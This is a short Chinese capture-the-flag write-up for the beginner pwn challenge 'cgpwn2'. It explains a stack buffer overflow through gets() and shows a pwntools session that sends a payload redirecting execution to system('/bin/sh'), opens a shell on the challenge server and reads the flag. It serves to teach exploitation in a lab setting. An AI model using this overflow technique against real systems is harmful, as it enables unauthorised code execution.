pwn 新手 cgpwn2
没有思路,没找到cat 和flag 和sh之类的
WriteUp:
在我们分析程序逻辑时我们可以看到在hello函数中有一个部分我们用gets函数向栈 的s区域读取了字符串,
结合gets函数不限制输入字符个数和程序没有开启stack保护两点,
我们可以在使用输入时让输入的字符串覆盖栈上hello函数的返回地址,让程 序执行完hello函数之后执行我们设计的部分
1 执行call system ,但是参数要是bin/sh
2.输入s要把局部变量和esp he返回地址覆盖掉,返回地址是call 的地方,还有覆盖返回地址的前4字节,存放“bin/sh地址”,bin/sh可存放到name中,所以是name地址
>> from pwn import * >>> p=remote("111.200.241.244",30593) [x] Opening connection to 111.200.241.244 on port 30593 [x] Opening connection to 111.200.241.244 on port 30593: Trying 111.200.241.244 [+] Opening connection to 111.200.241.244 on port 30593: Done >>> p.recv() b'please tell me your name\n' >>> p.sendline("/bin/sh") >>> p.recv() b'hello,you can leave some message here:\n' >>> payload="a"*0x26+"aaaa"+p32(0x0804855A).decode("unicode_escape")+p32(0x0804A080).decode("unicode_escape") >>> p.sendline(payload) >>> p.interactive() [*] Switching to interactive mode ls bin cgpwn2 dev flag lib lib32 lib64 cat flag cyberpeace{d2a8e4b686819e3ec91558b9a8e61e26}